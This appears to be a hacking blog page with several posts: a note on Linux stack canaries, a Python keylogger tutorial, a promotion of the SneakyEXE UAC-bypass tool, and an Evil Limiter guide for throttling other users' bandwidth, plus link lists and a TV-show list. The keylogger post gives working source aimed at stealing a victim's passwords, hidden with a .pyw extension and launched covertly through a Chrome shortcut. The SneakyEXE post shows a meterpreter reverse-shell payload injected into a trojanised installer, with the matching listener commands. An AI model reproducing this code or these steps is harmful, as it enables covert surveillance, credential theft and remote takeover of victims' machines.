Linux Stack Protection By Default

Monday, June 8, 2020 7:26 PM Posted by Unknown
Modern gcc compiler (v9.2.0) protects the stack by default and you will notice it because instead of SIGSEGV on stack overflow you will get a SIGABRT, but it also generates coredumps.




In this case the compiler adds the variable local_10. This variable helds a canary value that is checked at the end of the function.
The memset overflows the four bytes stack variable and modifies the canary value.



The 64bits canary 0x5429851ebaf95800 can't be predicted, but in specific situations is not re-generated and can be bruteforced or in other situations can be leaked from memory for example using a format string vulnerability or an arbitrary read wihout overflowing the stack.

If the canary doesn't match, the libc function __stack_chck_fail is called and terminates the prorgam with a SIGABORT which generates a coredump, in the case of archlinux managed by systemd and are stored on "/var/lib/systemd/coredump/"


❯❯❯ ./test 
*** stack smashing detected ***: terminated
fish: './test' terminated by signal SIGABRT (Abort)

❯❯❯ sudo lz4 -d core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000.lz4
[sudo] password for xxxx: 
Decoding file core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000 
core.test.1000.c611b : decoded 249856 bytes 

 ❯❯❯ sudo gdb /home/xxxx/test core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000 -q 


We specify the binary and the core file as a gdb parameters. We can see only one LWP (light weight process) or linux thread, so in this case is quicker to check. First of all lets see the back trace, because in this case the execution don't terminate in the segfaulted return.




We can see on frame 5 the address were it would had returned to main if it wouldn't aborted.



Happy Idea: we can use this stack canary aborts to detect stack overflows. In Debian with prevous versions it will be exploitable depending on the compilation flags used.
And note that the canary is located as the last variable in the stack so the previous variables can be overwritten without problems.




Related links


  1. Pentest Iso
  2. Pentest Report Generator
  3. Hackerx
  4. Pentest Vs Ethical Hacking
  5. Pentest
  6. How To Pentest A Network
  7. Hacking Growth
  8. Pentest Owasp Top 10
  9. Pentest Gear
  10. Hacking Process
  11. Hacking Process
  12. Hacking Games Online
  13. Hacking Language
  14. Pentest Tools Free
  15. Hacking Wifi
  16. Pentest Tools Github
  17. Pentest Tools Free
  18. Hacker Google
  19. Pentest Web Application
  20. Pentest Report
0 comments

How To Make A Simple And Powerful Keylogger Using Python

3:49 PM Posted by Unknown
A keylogger is a computer program which can be written using any computer programming language such as c++ when you install it on a Victim system it can keep the records of every keystroke in a text file. Keylogger is mainly used to steal confidential data such as passwords, credit card numbers etc.

How to make a python keylogger?

A keylogger can be programmed using any programming language such as c++, java, c# e.tc. For this tutorial, I will use python to make a keylogger, because python is flexible, powerful and simple to understand even a non-programmer can use python to make a keylogger.
Requirements to create a python keylogger
  • Computer With Operating system: Windows, Mac os or Linux
  • Python must be installed on the system
  • Pip (Python index package ) you will need this to install python software packages.
  • Pypiwin32 and PyHook packages
  • Basic understanding of computers
You will learn to install these things one by one. If you have already installed and configured the python development kit feel free to skip Part 1.
Part 1: Downloading Python and pip, setting up the environment to create the keylogger.Step 1:
Download python development kit by clicking here.
Choose python 2.7 because I am using this version. It is ok if you have a different version of python this method will work on every version of python.
Step 2:
Installation of python is pretty simple.Open the python setup file, Mark the checkboxes Very important else you have to set the python path manually, and click on Install Now.
Step 3:
You need Pypiwin32 and PyHook python packages to create python keylogger. To install these packages you need pip, you can install Pypiwin32 and PyHook without using pip which is not recommended.
To download pip go to https://pip.pypa.io/en/stable/installing/ and Save link as by right clicking on get-pip.py. when the download is done, just run the get-pip.py file.
Now you need to set the Variable path for pip to do this right click on the computer icon and choose properties.
Now click on the Advanced system settings
Choose Environment Variables.
Choose New, Set the Variable name: PATH and Variable value as C:\Python27\Scripts
Click on ok.
Part 2: Installing Pypiwin32 and PyHook python Packages using pip:
Open Command Prompt(CMD) and type: pip installs Pypiwin32 press the Enter Key, wait for the installation to complete. After the Pypiwin32 package installation type: pip install PyHook press the Enter Key and wait for the installation to complete.When done close the Command Prompt.
Part 3: Creating and testing the python keylogger:
Now you have configured your environment and installed all the necessary packages, let's start creating the keylogger. Click on the start menu and scroll down until you find Python 2.7, run python IDLE(GUI) by clicking on it.
Go to the File, from the drop-down menu choose New file.

Python Keylogger source code:

Copy these lines of code and paste into the new file. Modify the directory in the second line of code to your own location e.g 'C:\test\log.txt' this will create a folder named test in C save the log.txt file there when the Keylogger start.
import pyHook, pythoncom, sys, logging
file_log='F:\\test\\log.txt'
def onKeyboardEvent(event):
logging.basicConfig(filename=file_log,level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown=onKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Save your file as a test.pyw at any location you want, the .pyw extension is very important because of it the python keylogger will run in the background without notifying the user.
The Python Keylogger is now completed you can test it out by opening it and typing some text in your browser, go to the log.txt file which is in the F:\test\log.txt on my PC. You will find your log.txt file in C:\test\log.txt.But what if you want to test it on someone else computer? you want to run it without the user knowing that it has been launched, this can be done by attaching it to the program that the victim always uses such as Google Chrome.
Let's make the python keylogger auto-launchable by attaching it the Google Chrome.
Copy the following code and paste into notepad. Save it by giving .bat extension e.g launch.bat in a hidden location, e.g c:\test\launch.bat
Now right click on the google chrome desktop shortcut icon and click on properties. You will see a field called Target. Change the target field to the batch file launch.bat directory that you created. let's say you have saved your launch.bat file in a test folder in C, Then change the target field with "C:\test\launch.bat". Now, whenever the user opens chrome the keylogger will run automatically.
Continue reading

0 comments

Odysseus

5:06 AM Posted by Unknown


"Odysseus is a tool designed for testing the security of web applications. Odysseus is a proxy server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP proxy will relay packets to and from a client browser and a web server. Odysseus will intercept an HTTP session's data in either direction and give the user the ability to alter the data before transmission. For example, during a normal HTTP SSL connection a typical proxy will relay the session between the server and the client and allow the two end nodes to negotiate SSL. In contrast, when in intercept mode, Odysseus will pretend to be the server and negotiate two SSL sessions, one with the client browser and another with the web server." read more...

Download: http://www.bindshell.net/tools/odysseus


More information


  1. Pentest Vs Ceh
  2. Pentest Book
  3. Hackerrank Sql
  4. Pentest Environment
  5. Pentest Example Report
  6. Hacking Quotes
  7. Pentest Blog
0 comments

SneakyEXE: An "UAC-Bypassing" Codes Embedding Tool For Your Win32 Payload

4:29 AM Posted by Unknown

About SneakyEXE
   SneakyEXE is a tool which helps you embedding a UAC-Bypassing function into your custom Win32 payloads (x86_64 architecture specifically).

   SneakyEXE was tested on:
  • Windows 7, 8, 10 (64 bit)
  • Parrot Security OS 4.7

   Requirements of SneakyEXE:
  • For Linux:   Architecture: Optional
       Python 3.7.x: Yes
       Module: termcolor
       Distro: Any
       Distro version: Any
  • For Windows:   Architecture: x86_64
       Python 3.7.x: No
       Module: No
       Windows version: 7, 8, 10

SneakyEXE's Installtion for Linux
   You must install Python 3 first:
  • For Debian-based distros: sudo apt install python3
  • For Arch Linux based distros: sudo pacman -S python3
   And then, open your Terminal and enter these commands:


SneakyEXE's Installtion for Windows
  • Download SneakEXE-master zip file.
  • Unzip it into your optional directory.
  • Change dir to \SneakyEXE\Win32\.
  • Execute sneakyexe.exe (or sys\sneakyexe.exe for an improved startup speed).
  • (Optional : you can copy sneakyexe.exe to whatever directory you want and delete the unzipped one)
   NOTE: The payload can only be successfully executed by the user with Administrator privilege. Users with limited token wouldn't succeed.

SneakyEXE GUI verion installation for Windows
   You must install Python 3 first. Download and run Python 3.7.x setup file from Python.org. On Install Python 3.7, enable Add Python 3.7 to PATH.
   Download SneakEXE-master zip file and unzip it.
   And then, open PowerShell or CMD on SneakyEXE folder where you have just unzipped SneakyEXE-master and enter these command:

pip install pillow
pip install pyinstaller
mkdir compile
cd compile
pyinstaller --windowed --onefile --icon=Icon.ico /source/Win32/GUI.py
cd dist
GUI.exe

How to use SneakyEXE?

Example:
   I dowloaded Unikey from Unikey.org.
   And then, i used msfvenom to inject payload to UniKeyNT.exe (payload used: windows/meterpreter/reverse_tcp). I called the payload file is uNiKeY.exe.

   After that, to embed UAC-Bypassing codes to uNiKeY.exe, i used this command:
python3 sneakyexe bin=/home/hildathedev/uNiKeY.exe out=/home/hildathedev/SneakyEXE

  And then, by some how, makes your victim installs the payload that was embedded UAC-Bypassing codes and enter these commands:

sudo msfconsole -q
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your IP address>
set LHOST <Your port>
exploit

   and wait...

Disclaimer:
  • This tool was made for academic purposes or ethical cases only. I ain't taking any resposibility upon your actions if you abuse this tool for any black-hat acitivity
  • Feel free to use this project in your software, just don't reclaim the ownerhsip.

Credits: This tool does embed UACme which was originally coded by hfiref0x but the rest was pretty much all coded by me (Zenix Blurryface).

Author: Copyright © 2019 by Zenix Blurryface.


Related posts


  1. Hacking With Linux
  2. Pentest Certification
  3. Pentestlab
  4. Pentest Book
  5. Hacking Apps
  6. Pentest Methodology
  7. Pentest Tutorial
  8. Hacking Youtube
  9. Hacker Keyboard
  10. Hacking Meaning
  11. Hacking
  12. Hacker Typer
  13. Pentester Academy
  14. Hacker Keyboard
  15. Hacking With Python
  16. Pentest Magazine
  17. Pentest Vs Ceh
  18. Pentest Hardware
0 comments

Top 5 Best TV Series Based On Hacking & Technology 2018

3:54 AM Posted by Unknown
Best TV Series Based On Hacking & Technology 2018

Top 5 Best TV Series Based On Hacking & Technology 2018

Top 5 Best TV Series Based On Hacking And Technology 2018

Well, if you are a tech fanatic then you will love watching TV shows which are based on hacking and technology. If you are a tech geek, then you will know that hacking stuff in movies/serials always generates glamor and mystery and adds that special oomph factor to the movie or Tv SHOW.
However, there are not much movies/ or TV serials made on hacking and technology. Technology is rapidly becoming the key point in human lives. The previous year we have seen how hackers had made their marks on giant companies. So, in this article, we are going to discuss top TV shows which have to hack as the central theme. So, have a look at the list.

#1 Mr. Robot

Mr. Robot: Best TV Series Based On Hacking & Technology 2018
Mr. Robot: Best TV Series Based On Hacking & Technology 2018
Well, the reason why I listed Mr. Robot on the top is because this show has millions of followers and this is the first show that portrays an elite hacker. The elite hacker group uses computers, smartphones and many other technologies to penetrate secure network to take down evil corporation while being anonymous. The show displays the life of a young programmer named Elliot who works as a cyber-security engineer and a vigilante hacker by night.

#2 Silicon Valley

Silicon Valley
Silicon Valley
This TV series displays the tech and hacking with a bit of comic touch. The series shows the competition between techies in the high-tech gold rush of modern Silicon Valley. What's more interesting is the people who are more qualified are least successful whereas underdogs are making it big. This show is running successfully for three years now.

#3 The IT Crowd

The IT Crowd
The IT Crowd
The IT Crowd is very popular series and is running successfully for eight years from 2006 to 2013. It is not like Mr.Robot it has its moments of hacks. The series shows the comedic adventures of a rag-tag group of technical support workers at a large corporation.

#4 Person Of Interest

Person Of Interest
Person Of Interest
It is one of the best TV series made till now. You will get to see the humor, twists, and lots of other things. In this show and intelligent programmer built and AI (Artificial intelligence) that helps to stop the crimes in the city. The show will definitely give you chills.

#5 Chuck

Chuck: Best TV Series Based On Hacking & Technology 2018
Chuck: Best TV Series Based On Hacking & Technology 2018
The TV series was somehow popular and ran from 2007 to 2013. The show shows the character of a young hacker and nerd who accidentally downloads US Govt, secrets into his brain and there is where the story starts CIA and NSA agents protect him and at the same time exploit him.

Continue reading

  1. Hacking Typer
  2. Hacker Keyboard
  3. Hacking Quotes
  4. Pentest Practice Sites
  5. Pentest Tools Framework
  6. Pentest Reporting Tool
  7. Pentest Red Team
  8. Hacking Games
  9. Pentest Os
  10. Pentest App
  11. Pentest Vs Ethical Hacking
  12. How To Pentest A Network
0 comments

Advanced Penetration Testing • Hacking The World'S Most Secure Networks Free PDF

Sunday, June 7, 2020 11:15 PM Posted by Unknown
Continue reading
0 comments

Evil Limiter: Taking Control Of Your Network Bandwidth

11:20 AM Posted by Unknown






Ever wanted to block someone from the network or limit their bandwidth without having the network admin privileges? Well Evil Limiter has got you covered then.

An amazing tool to help you control your network without having access to the admin panel.
Today I'm gonna show you how to use this interesting tool to take control of your network.


Requirements:

1. A PC or Laptop with Linux OS.
2. A Network Adapter.
3. Access to the Network you want to control.
4. sudo or root access on your Linux OS.

First of all we will download the tool from its github repository:
https://github.com/bitbrute/evillimiter

You can download and extract the zip file from the link above or you can clone evillimiter repository using git like this:

git clone https://github.com/bitbrute/evillimiter 

Now lets install the downloaded tool on our machine
Step 1: Move inside the downloaded github repository

cd evillimiter

Step 2: To install type

sudo python3 setup.py install

wait for the installation to finish (May take some time)

Step 3: To run type

sudo evilimiter

Voila! That's it, you got it up and running on your machine

Now how do you control your network with it, its very easy.
It should detect your network automatically but yeah you can set it up manually as well using the command line argument -i.

After you have selected the right interface to control, you need to scan your network for live hosts. To perform the scan type

scan

you can pass an optional flag to the scan command which is range which will help you to specify the range of ip addresses you want to scan like this

scan --range 192.168.1.1-192.168.1.100




The above command will scan a total of 100 hosts from 192.168.1.1 to 192.168.1.100

Now after you have scanned your network next thing is to list the hosts that have been discovered during the scan for that you type the hosts command like this

hosts




Now you know the hosts on your network and now you should know which host you wanna block or limit based on the mac address of the host. Remember the host id of the host that you want to block or limit bandwidth of and lets do the magic.
to block a host from using the internet we simply specify the block command followed by the host id of the host that we want to block like this

block 1




if instead of blocking the host we just want to limit his internet bandwidth we can do just that by using the limit command followed by the host id and then the bandwidth that we want to allocate to that particular host like this

limit 1 100kbits




Wohooo! yeah its that easy and yes you can do all this without having the network admin role.
Now if you want to show mercy on that poor guy (blocked host), you can set him free by using the free command followed by the host id like this:

free 1




Well isn't administrating your network bandwidth so easy now.
Hope you enjoyed this tutorial.:)

Related news


0 comments
Subscribe to: Posts (Atom)
abcs